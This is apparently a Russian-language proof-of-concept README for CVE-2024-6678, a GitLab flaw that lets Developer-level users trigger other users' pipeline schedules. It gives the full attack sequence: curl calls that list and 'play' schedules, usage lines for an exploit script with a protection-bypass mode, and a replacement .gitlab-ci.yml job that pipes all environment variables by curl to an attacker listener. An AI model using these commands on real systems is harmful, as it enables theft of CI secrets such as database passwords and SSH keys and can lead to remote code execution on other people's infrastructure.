
PoC for CVE-2024-6678
PoC for CVE-2024-6678
GitLab позволяет пользователям вручную запускать расписания CI/CD-пайплайнов (Pipeline Schedules) через кнопку «Play». Уязвимость состоит в том, что функция «play» позволяет любому пользователю с правами Developer (а не только владельцу расписания) запустить расписание. При этом возникает два следствия:
При этом, итоговый импакт будет зависить от того, что хранится в переменных расписания. Например переменная DB_PASSWORD открывает возможность сделать полный дамп базы данных, а SSH_PRIVATE_KEY - получить RCE.
develop, staging) — либо в проекте есть расписания с коротким форматом ref (bypass)Важно: расписания на защищённых ветках (например,
refs/heads/mainпри включённой защите) блокируются политикойPipelineSchedulePolicy#protected_refи вернут HTTP 403. Атака работает для незащищённых веток — а именно там часто создают интеграционные и staging-расписания с боевыми credentials.
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
| python3 -m json.tool
Найти расписание, принадлежащее более привилегированному пользователю (Maintainer/Owner).
curl -s -X POST \
-H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"
Ожидаемый ответ: HTTP 201 — пайплайн добавлен в очередь.
Пайплайн создаётся от имени атакующего (current_user), но со всеми переменными расписания (которые могут включать API-ключи, токены, credentials, настроенные владельцем).
HTTP 500 "Unable to schedule pipeline run immediately" — Ожидаемое поведение. Это Sidekiq-дедупликация (
deduplicate :until_executed): задача для данного расписания уже находится в очереди от предыдущего успешного запуска. Значит, атака уже сработала ранее и задача ожидает выполнения.
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
| python3 -m json.tool | grep -E '"id"|"status"|"username"'
# Базовый запуск: автовыбор расписания
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42
# Указать конкретное расписание
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--schedule-id 7
# Через GraphQL (требует --project-path)
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--graphql \
--project-path "mygroup/myrepo"
# Проверить legacy-ref bypass
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--exploit-mode
Перед триггером PoC заменяет .gitlab-ci.yml в develop на: stages: [exfil] dump_vars: stage: exfil script: - env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-
Всё это прилетает на ваш листенер